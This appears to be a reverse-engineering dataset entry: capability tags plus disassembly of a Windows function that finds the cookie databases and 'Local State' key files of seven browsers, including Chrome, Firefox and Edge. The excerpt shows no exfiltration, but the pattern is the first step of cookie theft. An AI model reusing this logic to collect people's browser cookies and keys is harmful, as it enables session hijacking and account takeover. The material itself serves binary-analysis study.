Function at 0x5610d0
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x65889c
mov eax, dword fs:[0]
push eax
sub esp, 0x484
mov eax, dword [0x74f8a0]
xor eax, esp
mov dword [esp + 0x480], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x74f8a0]
xor eax, esp
push eax
lea eax, [esp + 0x498]
mov dword fs:[0], eax
xor ebp, ebp
xor eax, eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x20], ebp
mov word [esp + 0x1c], ax
mov dword [esp + 0x4a0], ebp
cmp dword [esp + 0x4ac], ebp
je 0x56133a
cmp dword [0x755884], ebp
jne 0x561351
lea ecx, [esp + 0x28c]
push ecx
call fcn.00560cc0
add esp, 4
test eax, eax
je 0x5612ef
lea eax, [esp + 0x28c]
xor bl, bl
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x561160
sub eax, edx
xor edx, edx
sar eax, 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x38], ebp
mov word [esp + 0x34], dx
mov byte [esp + 0x4a0], 1
cmp word [esp + eax*2 + 0x28a], 0x5c
lea edi, [esp + eax*2 + 0x28a]
mov eax, 0x670c80
je 0x5611a2
mov eax, 0x670988
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sMozillaFirefoxProfiles
lea ecx, [esp + 0x40]
call fcn.00402320
mov eax, dword [esp + 0x30]
cmp eax, ebp
jne 0x5611c6
lea eax, [esp + 0x34]
lea ecx, [esp + 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
cmp esi, 0xffffffff
je 0x5612de
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x5611f0
mov ecx, 0x672c28
lea eax, [esp + 0x68]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x561226
test dx, dx
je 0x561222
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x561226
add eax, 4
add ecx, 4
test dx, dx
jne 0x561200
xor eax, eax
jmp 0x56122b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x5612c3
mov ecx, 0x672c20
lea eax, [esp + 0x68]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x561266
test dx, dx
je 0x561262
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x561266
add eax, 4
add ecx, 4
test dx, dx
jne 0x561240
xor eax, eax
jmp 0x56126b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x5612c3
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jle 0x5612c3
cmp word [edi], 0x5c
mov eax, 0x670c80
je 0x561293
mov eax, 0x670988
push 0
lea ecx, [esp + 0x6c]
push ecx
push eax
lea edx, [esp + 0x298]
push edx
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x2c]
call fcn.00411a70
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
mov bl, 1
lea edx, [esp + 0x3c]
push edx
push esi
call ebp
test eax, eax
jne 0x5611f0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
test bl, bl
jne 0x56130a
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x30]
call fcn.00401210
mov dword [esp + 0x4a0], 0xffffffff
lea ecx, [esp + 0x18]
call fcn.00401210
xor eax, eax
jmp 0x561a55
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x561316
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5612de
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x30]
call fcn.00401210
jmp 0x56192c
mov esi, dword [esp + 0x4a8]
cmp dword [0x755880], esi
jne 0x56136f
cmp dword [0x755888], ebp
je 0x561381
mov dword [esp + 0x4a0], 0xffffffff
lea ecx, [esp + 0x18]
call fcn.00401210
mov eax, 1
jmp 0x561a55
mov dword [0x755888], ebp
mov dword [0x75588c], ebp
mov dword [0x755880], esi
lea eax, [esp + 0x28c]
push eax
call fcn.0040ff20
add esp, 4
test eax, eax
je 0x5612ef
lea eax, [esp + 0x28c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x5613a3
sub eax, edx
sar eax, 1
cmp esi, 0x12
jne 0x56146f
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x670c80
je 0x5613d7
mov eax, 0x670988
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sMicrosoftEdgeUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x5613fb
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x56144a
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x561419
mov eax, 0x670988
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sMicrosoftEdgeUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x56143e
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5612ef
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x56145a
mov eax, 0x670988
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sMicrosoftEdgeUser_DataLocal_State
jmp 0x561922
cmp esi, 0x13
jne 0x56152c
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x670c80
je 0x561494
mov eax, 0x670988
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sBraveSoftwareBrave_BrowserUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x5614b8
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x561507
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x5614d6
mov eax, 0x670988
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sBraveSoftwareBrave_BrowserUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x5614fb
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5612ef
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x561517
mov eax, 0x670988
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sBraveSoftwareBrave_BrowserUser_DataLocal_State
jmp 0x561922
cmp esi, 0x14
jne 0x5615e9
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x670c80
je 0x561551
mov eax, 0x670988
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sVivaldiUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x561575
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x5615c4
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x561593
mov eax, 0x670988
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sVivaldiUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x5615b8
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5612ef
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x5615d4
mov eax, 0x670988
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sVivaldiUser_DataLocal_State
jmp 0x561922
cmp esi, 0x15
jne 0x5616a6
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x670c80
je 0x56160e
mov eax, 0x670988
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sYandexYandexBrowserUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x561632
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x561681
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x561650
mov eax, 0x670988
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sYandexYandexBrowserUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x561675
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5612ef
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x561691
mov eax, 0x670988
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sYandexYandexBrowserUser_DataLocal_State
jmp 0x561922
cmp esi, 3
jne 0x561873
xor ecx, ecx
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], cx
mov byte [esp + 0x4a0], 2
mov eax, dword [0x754c3c]
cmp eax, ebp
jne 0x5616d4
mov eax, 0x754c40
push eax
lea ecx, [esp + 0x28]
call fcn.004017f0
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x5616ea
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.00617b92
add esp, 8
cmp eax, ebp
jne 0x56170a
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
jmp 0x5612ea
mov edx, str.IDM
mov ecx, eax
mov si, word [ecx]
or edi, 0xffffffff
cmp si, word [edx]
jne 0x56173a
cmp si, bp
je 0x561736
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x56173a
add ecx, 4
add edx, 4
cmp si, bp
jne 0x561711
xor ecx, ecx
jmp 0x56173e
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
je 0x5617fe
mov edx, 0x670988
mov ecx, eax
lea ecx, [ecx]
mov si, word [ecx]
cmp si, word [edx]
jne 0x561776
cmp si, bp
je 0x561772
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x561776
add ecx, 4
add edx, 4
cmp si, bp
jne 0x561750
xor ecx, ecx
jmp 0x56177a
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
jne 0x56179e
xor ecx, ecx
mov word [eax], cx
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x56178f
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.00617b92
add esp, 8
cmp eax, ebp
jne 0x5617c6
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
call fcn.00401210
mov dword [esp + 0x4a0], edi
lea ecx, [esp + 0x18]
call fcn.00401210
xor eax, eax
jmp 0x561a55
mov edx, str.IDM
mov ecx, eax
lea ecx, [ecx]
mov si, word [ecx]
cmp si, word [edx]
jne 0x5617f6
cmp si, bp
je 0x5617f2
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x5617f6
add ecx, 4
add edx, 4
cmp si, bp
jne 0x5617d0
xor ecx, ecx
jmp 0x5617fa
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
jne 0x56179e
add eax, 2
xor edx, edx
mov word [eax], dx
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x561812
lea eax, [esp + 0x28]
push ebp
push eax
push str._sOpera_SoftwareOpera_Stablecookies
lea ecx, [esp + 0x24]
call fcn.004021b0
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x56182e
lea eax, [esp + 0x28]
push ebp
push eax
push str._sOpera_SoftwareOpera_StableLocal_State
mov ecx, 0x7558c0
call fcn.004021b0
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x56184b
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5616f9
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
call fcn.00401210
jmp 0x56192c
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x670c80
je 0x56188f
mov eax, 0x670988
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sGoogleChromeUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x5618b3
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x561902
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x5618d1
mov eax, 0x670988
push 0
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sGoogleChromeUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402320
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x5618f6
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x5612ef
cmp word [esi], 0x5c
mov eax, 0x670c80
je 0x561912
mov eax, 0x670988
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sGoogleChromeUser_DataLocal_State
mov ecx, 0x7558c0
call fcn.00402320
lea ecx, [esp + 0x14]
call fcn.00402500
mov byte [esp + 0x4a0], 3
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x561949
lea eax, [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
or ebx, 0xffffffff
push ebx
push eax
push 0
push 0xfde9
call edi
mov esi, eax
test esi, esi
jle 0x561996
push esi
lea ecx, [esp + 0x18]
call fcn.00402850
mov ecx, dword [esp + 0x18]
test ecx, ecx
jne 0x561981
lea ecx, [esp + 0x1c]
push 0
push 0
push esi
push eax
push ebx
push ecx
push 0
push 0xfde9
call edi
test eax, eax
jne 0x5619be
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402570
mov dword [esp + 0x4a0], ebx
lea ecx, [esp + 0x18]
call fcn.00401210
xor eax, eax
jmp 0x561a55
cmp dword [esp + 0x4ac], 0
je 0x5619ec
mov eax, dword [esp + 0x14]
push eax
push 0x66fea8
push 0x7558b8
call fcn.00402f70
mov esi, 1
add esp, 0xc
mov dword [0x755884], esi
jmp 0x561a32
mov ecx, dword [esp + 0x14]
push ecx
push 0x66fea8
push 0x7558bc
call fcn.00402f70
add esp, 0xc
cmp dword [0x7558c8], 0
mov esi, 1
mov dword [0x755888], esi
je 0x561a32
mov eax, dword [0x7558c0]
test eax, eax
jne 0x561a25
mov eax, 0x7558c4
push eax
call ebp
cmp eax, ebx
je 0x561a32
mov dword [0x75588c], esi
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402570
mov dword [esp + 0x4a0], ebx
lea ecx, [esp + 0x18]
call fcn.00401210
mov eax, esi
mov ecx, dword [esp + 0x498]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x480]
xor ecx, esp
call fcn.0061807e
add esp, 0x490
ret